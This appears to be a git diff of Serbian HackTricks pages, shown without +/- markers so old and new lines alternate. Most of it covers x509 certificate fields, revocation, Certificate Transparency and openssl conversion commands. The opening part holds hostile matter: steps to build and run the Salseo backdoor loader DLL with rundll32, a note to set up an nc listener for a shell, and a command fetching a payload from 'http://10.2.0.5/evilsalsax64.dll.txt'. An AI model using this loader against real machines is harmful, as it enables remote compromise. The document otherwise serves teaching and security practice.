Izaberite **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
|
||||
Izaberite **Tip izlaza = Biblioteka klasa** (Projekat --> SalseoLoader Properties --> Application --> Tip izlaza = Biblioteka klasa)
|
||||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
Izaberite **x64** **platformu** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
|
||||
Izaberite **x64 platformu** (Projekat --> SalseoLoader Properties --> Build --> Ciljna platforma = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
Da biste **izgradili** rešenje: Build --> Build Solution (Unutar Output konzole će se pojaviti putanja nove DLL datoteke)
|
||||
Da biste **izgradili** rešenje: Build --> Izgradi rešenje (Unutar konzole za izlaz pojaviće se putanja nove DLL datoteke)
|
||||
|
||||
### Testirajte generisanu Dll
|
||||
|
||||
Kopirajte i nalepite DLL gde želite da je testirate.
|
||||
Kopirajte i nalepite Dll gde želite da je testirate.
|
||||
|
||||
Izvršite:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
Ako se ne pojavi greška, verovatno imate funkcionalnu DLL datoteku!!
|
||||
Ako se ne pojavi greška, verovatno imate funkcionalnu DLL!!
|
||||
|
||||
## Dobijanje shell-a korišćenjem DLL datoteke
|
||||
## Dobijanje shell-a korišćenjem DLL-a
|
||||
|
||||
Ne zaboravite da koristite **HTTP** **server** i postavite **nc** **listener**
|
||||
Ne zaboravite da koristite **HTTP server** i postavite **nc listener**
|
||||
|
||||
### Powershell
|
||||
```
|
||||
|
@ -217,7 +160,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
### CMD
|
||||
|
||||
CMD (Command Prompt) je ugrađeni alat u operativnom sistemu Windows koji omogućava korisnicima da komuniciraju sa sistemom putem naredbi. CMD se često koristi u hakovanju kao sredstvo za izvršavanje različitih komandi i skripti radi postizanja određenih ciljeva. Ovaj alat može biti veoma moćan i omogućava hakerima da manipulišu sistemom, preuzimaju kontrolu nad njim i izvršavaju različite akcije. CMD se može koristiti za pretragu fajlova, pokretanje programa, pristupanje mrežnim resursima, promenu postavki sistema i još mnogo toga. Hakeri često koriste CMD za izvršavanje različitih napada, kao što su backdoor napadi, keylogging, preuzimanje kontrola nad sistemom i mnoge druge tehnike. Važno je napomenuti da je korišćenje CMD-a u nelegalne svrhe ilegalno i može imati ozbiljne pravne posledice.
|
||||
### Командна линија
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -230,12 +173,12 @@ rundll32.exe SalseoLoader.dll,main
|
|||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,53 +6,53 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Danas dobijte pristup:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Šta je sertifikat
|
||||
## Šta je Sertifikat
|
||||
|
||||
**Sertifikat javnog ključa** je digitalni ID koji se koristi u kriptografiji kako bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, moguća je sigurna komunikacija sa vlasnikom ključa.
|
||||
**Javni ključni sertifikat** je digitalni ID koji se koristi u kriptografiji da bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
|
||||
|
||||
Sertifikati se uglavnom izdaju od strane [sertifikacionih autoriteta](https://en.wikipedia.org/wiki/Certificate_authority) (CA) u okviru [infrastrukture javnih ključeva](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web_of_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi specifičnim potrebama kako je opisano u RFC 5280.
|
||||
Sertifikati se uglavnom izdaju od strane [sertifikacionih autoriteta](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u postavci [infrastrukture javnih ključeva](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi za specifične potrebe kako je opisano u RFC 5280.
|
||||
|
||||
## x509 Uobičajena polja
|
||||
## x509 Zajednička Polja
|
||||
|
||||
### **Uobičajena polja u x509 sertifikatima**
|
||||
### **Zajednička Polja u x509 Sertifikatima**
|
||||
|
||||
U x509 sertifikatima, nekoliko **polja** igraju ključnu ulogu u osiguravanju validnosti i sigurnosti sertifikata. Evo pregleda ovih polja:
|
||||
U x509 sertifikatima, nekoliko **polja** igraju ključne uloge u osiguravanju validnosti i sigurnosti sertifikata. Evo razbijanja ovih polja:
|
||||
|
||||
- **Broj verzije** označava verziju x509 formata.
|
||||
- **Seriski broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacione Autoritete (CA), uglavnom za praćenje povlačenja.
|
||||
- Polje **Subjekat** predstavlja vlasnika sertifikata, koji može biti mašina, pojedinac ili organizacija. Uključuje detaljne identifikacije kao što su:
|
||||
- **Uobičajeno ime (CN)**: Domeni obuhvaćeni sertifikatom.
|
||||
- **Država (C)**, **Lokalitet (L)**, **Država ili Pokrajina (ST, S ili P)**, **Organizacija (O)** i **Organizaciona jedinica (OU)** pružaju geografske i organizacione detalje.
|
||||
- **Distinguished Name (DN)** sadrži punu identifikaciju subjekta.
|
||||
- **Izdavalac** detalji o tome ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao i Subjekat za CA.
|
||||
- **Period važenja** obeležen je vremenskim oznakama **Not Before** i **Not After**, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma.
|
||||
- Odeljak **Javni ključ**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
|
||||
- **x509v3 ekstenzije** poboljšavaju funkcionalnost sertifikata, specificirajući **Upotrebu ključa**, **Proširenu upotrebu ključa**, **Alternativno ime subjekta** i druge osobine radi fino podešavanja primene sertifikata.
|
||||
* **Broj Verzije** označava verziju formata x509.
|
||||
* **Seriski Broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacionog Autoriteta (CA), uglavnom za praćenje opoziva.
|
||||
* Polje **Subjekat** predstavlja vlasnika sertifikata, koji može biti mašina, pojedinac ili organizacija. Uključuje detaljne identifikacije kao što su:
|
||||
* **Uobičajeno Ime (CN)**: Domeni obuhvaćeni sertifikatom.
|
||||
* **Država (C)**, **Lokalitet (L)**, **Država ili Pokrajina (ST, S, ili P)**, **Organizacija (O)** i **Organizaciona Jedinica (OU)** pružaju geografske i organizacione detalje.
|
||||
* **Distingovano Ime (DN)** obuhvata punu identifikaciju subjekta.
|
||||
* **Izdavaoc** detalji ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekat za CA.
|
||||
* **Period Važenja** obeležen je vremenskim oznakama **Nije Pre** i **Nije Posle**, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma.
|
||||
* Odeljak **Javni Ključ**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
|
||||
* **x509v3 proširenja** poboljšavaju funkcionalnost sertifikata, specificirajući **Upotrebu Ključa**, **Proširenu Upotrebu Ključa**, **Alternativno Ime Subjekta** i druge osobine za fino podešavanje primene sertifikata.
|
||||
|
||||
#### **Upotreba ključa i ekstenzije**
|
||||
#### **Upotreba Ključa i Proširenja**
|
||||
|
||||
- **Upotreba ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključem.
|
||||
- **Proširena upotreba ključa** dodatno sužava upotrebu sertifikata, na primer, za autentifikaciju TLS servera.
|
||||
- **Alternativno ime subjekta** i **Osnovno ograničenje** definišu dodatna imena hostova obuhvaćena sertifikatom i da li je to CA ili sertifikat entiteta.
|
||||
- Identifikatori poput **Identifikatora ključa subjekta** i **Identifikatora ključa izdavaoca** obezbeđuju jedinstvenost i mogućnost praćenja ključeva.
|
||||
- **Pristup informacijama o autoritetu** i **Tačke distribucije CRL** obezbeđuju putanje za verifikaciju izdavača CA i proveru statusa povlačenja sertifikata.
|
||||
- **CT Precertificate SCTs** nude transparentne logove, ključne za javno poverenje u sertifikat.
|
||||
* **Upotreba Ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključa.
|
||||
* **Proširena Upotreba Ključa** dodatno sužava slučajeve upotrebe sertifikata, npr. za autentikaciju TLS servera.
|
||||
* **Alternativno Ime Subjekta** i **Osnovno Ograničenje** definišu dodatna imena hostova obuhvaćena sertifikatom i da li je to CA ili sertifikat entiteta.
|
||||
* Identifikatori poput **Identifikatora Ključa Subjekta** i **Identifikatora Ključa Autoriteta** osiguravaju jedinstvenost i mogućnost praćenja ključeva.
|
||||
* **Pristup Informacijama Autoriteta** i **Tačke Distribucije CRL-a** pružaju putanje za verifikaciju izdavaoca CA i proveru statusa opoziva sertifikata.
|
||||
* **CT Pre-sertifikat SCT-ovi** nude transparentne dnevnike, ključne za javno poverenje u sertifikat.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
|
@ -76,163 +76,109 @@ print(f"Public Key: {public_key}")
|
|||
```
|
||||
### **Razlika između OCSP i CRL Distribution Points**
|
||||
|
||||
**OCSP** (**RFC 2560**) uključuje saradnju između klijenta i odgovorača kako bi se proverilo da li je digitalni javni ključ sertifikata povučen, bez potrebe za preuzimanjem celog **CRL**-a. Ovaj metod je efikasniji od tradicionalnog **CRL**-a, koji pruža listu serijskih brojeva povučenih sertifikata, ali zahteva preuzimanje potencijalno velike datoteke. CRL-ovi mogu sadržati do 512 unosa. Više detalja možete pronaći [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
|
||||
**OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji zajedno proveravaju da li je digitalni javni ključ sertifikata povučen, bez potrebe za preuzimanjem punog **CRL**-a. Ovaj metod je efikasniji od tradicionalnog **CRL**-a, koji pruža listu povučenih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velike datoteke. CRL-ovi mogu sadržati do 512 unosa. Više detalja dostupno je [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||
|
||||
### **Šta je Certificate Transparency**
|
||||
### **Šta je Transparentnost sertifikata**
|
||||
|
||||
Certificate Transparency pomaže u borbi protiv pretnji vezanih za sertifikate tako što osigurava da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ovima i korisnicima. Njegovi ciljevi su:
|
||||
Transparentnost sertifikata pomaže u borbi protiv pretnji vezanih za sertifikate osiguravajući da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ima i korisnicima. Njeni ciljevi su:
|
||||
|
||||
* Sprječavanje CA-ova da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
|
||||
* Uspostavljanje otvorenog sistema za reviziju za praćenje greškom ili zlonamerno izdatih sertifikata.
|
||||
* Sprječavanje CA da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
|
||||
* Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata.
|
||||
* Zaštita korisnika od lažnih sertifikata.
|
||||
|
||||
#### **Certificate Logs**
|
||||
#### **Sertifikatni zapisi**
|
||||
|
||||
Certificate logs su javno proverljivi, samo-dodatni zapisi o sertifikatima, koje održavaju mrežne usluge. Ovi zapisi pružaju kriptografske dokaze u svrhu revizije. Izdavatelji sertifikata i javnost mogu podneti sertifikate ovim logovima ili ih pretraživati radi verifikacije. Iako tačan broj log servera nije fiksan, očekuje se da ih ima manje od hiljadu širom sveta. Ovi serveri mogu biti nezavisno upravljani od strane CA-ova, ISP-ova ili bilo koje zainteresovane entitete.
|
||||
Sertifikatni zapisi su javno proverljivi, samo za dodavanje zapisi sertifikata, održavani od strane mrežnih servisa. Ovi zapisi pružaju kriptografske dokaze u svrhe revizije. Izdavači i javnost mogu podnositi sertifikate ovim zapisima ili ih pretraživati radi verifikacije. Iako tačan broj serverskih zapisa nije fiksan, očekuje se da ih ima manje od hiljadu globalno. Ovi serveri mogu biti nezavisno upravljani od strane CA, ISP-ova ili bilo koje zainteresovane strane.
|
||||
|
||||
#### **Pretraga**
|
||||
#### **Upit**
|
||||
|
||||
Za istraživanje Certificate Transparency logova za bilo koji domen, posetite [https://crt.sh/](https://crt.sh).
|
||||
Za istraživanje sertifikata Transparentnosti posetite [https://crt.sh/](https://crt.sh).
|
||||
|
||||
Postoje različiti formati za skladištenje sertifikata, pri čemu svaki ima svoje upotrebe i kompatibilnost. Ovaj sažetak obuhvata glavne formate i pruža smernice za konverziju između njih.
|
||||
Postoje različiti formati za čuvanje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj sažetak obuhvata glavne formate i pruža smernice o konvertovanju između njih.
|
||||
|
||||
## **Formati**
|
||||
|
||||
### **PEM Format**
|
||||
- Najčešće korišćen format za sertifikate.
|
||||
- Zahteva odvojene datoteke za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
|
||||
- Uobičajene ekstenzije: .cer, .crt, .pem, .key.
|
||||
- Pretežno se koristi za Apache i slične servere.
|
||||
|
||||
* Najčešće korišćen format za sertifikate.
|
||||
* Zahteva odvojene datoteke za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
|
||||
* Uobičajene ekstenzije: .cer, .crt, .pem, .key.
|
||||
* Prvenstveno korišćen od strane Apache i sličnih servera.
|
||||
|
||||
### **DER Format**
|
||||
- Binarni format sertifikata.
|
||||
- Ne sadrži "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM datotekama.
|
||||
- Uobičajene ekstenzije: .cer, .der.
|
||||
- Često se koristi sa Java platformama.
|
||||
|
||||
* Binarni format sertifikata.
|
||||
* Nedostaje "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM datotekama.
|
||||
* Uobičajene ekstenzije: .cer, .der.
|
||||
* Često korišćen sa Java platformama.
|
||||
|
||||
### **P7B/PKCS#7 Format**
|
||||
- Smešten u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
|
||||
- Sadrži samo sertifikate i lančane sertifikate, bez privatnog ključa.
|
||||
- Podržan od strane Microsoft Windows-a i Java Tomcat-a.
|
||||
|
||||
* Čuvaju se u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
|
||||
* Sadrže samo sertifikate i lanac sertifikata, isključujući privatni ključ.
|
||||
* Podržano od strane Microsoft Windows i Java Tomcat.
|
||||
|
||||
### **PFX/P12/PKCS#12 Format**
|
||||
- Binarni format koji u jednoj datoteci sadrži serverske sertifikate, međusertifikate i privatne ključeve.
|
||||
- Ekstenzije: .pfx, .p12.
|
||||
- Pretežno se koristi na Windows-u za uvoz i izvoz sertifikata.
|
||||
|
||||
### **Konverzija formata**
|
||||
* Binarni format koji uključuje serverske sertifikate, posredne sertifikate i privatne ključeve u jednoj datoteci.
|
||||
* Ekstenzije: .pfx, .p12.
|
||||
* Glavno korišćen na Windows platformi za uvoz i izvoz sertifikata.
|
||||
|
||||
**PEM konverzije** su neophodne radi kompatibilnosti:
|
||||
### **Konvertovanje formata**
|
||||
|
||||
- **x509 u PEM**
|
||||
**PEM konverzije** su bitne za kompatibilnost:
|
||||
|
||||
* **x509 u PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
- **PEM u DER**
|
||||
|
||||
Da biste konvertovali PEM format u DER format, možete koristiti OpenSSL komandu:
|
||||
|
||||
```plaintext
|
||||
openssl x509 -outform der -in certificate.pem -out certificate.der
|
||||
```
|
||||
|
||||
Gde `certificate.pem` predstavlja putanju do PEM sertifikata koji želite da konvertujete, a `certificate.der` predstavlja putanju do izlaznog DER sertifikata.
|
||||
|
||||
Ova komanda će konvertovati sertifikat iz PEM formata u DER format.
|
||||
* **PEM u DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
- **DER u PEM**
|
||||
|
||||
Da biste konvertirali DER format u PEM format, možete koristiti OpenSSL alat. Koristite sljedeću naredbu:
|
||||
|
||||
```plaintext
|
||||
openssl x509 -inform der -in certificate.der -out certificate.pem
|
||||
```
|
||||
|
||||
Ova naredba će konvertirati certifikat iz DER formata (certificate.der) u PEM format (certificate.pem).
|
||||
* **DER u PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
- **PEM u P7B**
|
||||
|
||||
Da biste konvertovali PEM format sertifikata u P7B format, možete koristiti OpenSSL alat. Sledeća komanda će vam pomoći da izvršite konverziju:
|
||||
|
||||
```plaintext
|
||||
openssl crl2pkcs7 -nocrl -certfile certificate.pem -out certificate.p7b
|
||||
```
|
||||
|
||||
Gde `certificate.pem` predstavlja putanju do vašeg PEM sertifikata, a `certificate.p7b` je ime izlaznog P7B fajla. Nakon izvršavanja ove komande, dobićete P7B format sertifikata.
|
||||
* **PEM u P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
- **PKCS7 u PEM**
|
||||
|
||||
PKCS7 format je standardni format za enkodiranje i potpisivanje digitalnih sertifikata. PEM format, sa druge strane, je često korišćen format za čuvanje i razmenu kriptografskih ključeva i sertifikata. Da biste konvertovali PKCS7 format u PEM format, možete koristiti sledeću komandu:
|
||||
|
||||
```plaintext
|
||||
openssl pkcs7 -print_certs -in input.p7b -out output.pem
|
||||
```
|
||||
|
||||
Ova komanda će izvršiti konverziju PKCS7 datoteke `input.p7b` u PEM format i sačuvati rezultat u datoteku `output.pem`.
|
||||
* **PKCS7 u PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**PFX konverzije** su ključne za upravljanje sertifikatima na Windows operativnom sistemu:
|
||||
|
||||
- **PFX u PEM**
|
||||
* **PFX u PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
- **PFX u PKCS#8** uključuje dva koraka:
|
||||
1. Konvertuj PFX u PEM format.
|
||||
* **PFX u PKCS#8** uključuje dva koraka:
|
||||
1. Konvertuj PFX u PEM
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. Konvertuj PEM u PKCS8
|
||||
|
||||
Da biste konvertovali PEM format u PKCS8 format, možete koristiti OpenSSL komandu `pkcs8`. Evo kako to možete uraditi:
|
||||
|
||||
```plaintext
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -in private_key.pem -out private_key_pkcs8.pem
|
||||
```
|
||||
|
||||
Ova komanda će konvertovati privatni ključ u PEM formatu (`private_key.pem`) u PKCS8 format i sačuvati ga kao `private_key_pkcs8.pem`.
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
- **P7B u PFX** takođe zahteva dve komande:
|
||||
* **P7B u PFX** takođe zahteva dve komande:
|
||||
1. Konvertuj P7B u CER
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. Konvertujte CER i privatni ključ u PFX format
|
||||
|
||||
Da biste konvertovali CER i privatni ključ u PFX format, možete koristiti alat kao što je OpenSSL. Evo kako to možete uraditi:
|
||||
|
||||
1. Prvo, otvorite terminal i unesite sledeću komandu:
|
||||
|
||||
```
|
||||
openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer
|
||||
```
|
||||
|
||||
Ova komanda će kreirati PFX fajl sa nazivom "certificate.pfx" koristeći privatni ključ "private.key" i CER fajl "certificate.cer".
|
||||
|
||||
2. Kada pokrenete komandu, bićete upitani da unesete lozinku za PFX fajl. Unesite željenu lozinku i pritisnite Enter.
|
||||
|
||||
3. Nakon što unesete lozinku, OpenSSL će generisati PFX fajl koji sadrži CER i privatni ključ.
|
||||
|
||||
Sada imate PFX fajl koji možete koristiti za razne svrhe, kao što je instalacija SSL sertifikata na serveru.
|
||||
2. Konvertujte CER i privatni ključ u PFX
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -242,10 +188,10 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
# Linux forenzika
|
||||
# Forenzika na Linuxu
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -14,24 +14,24 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
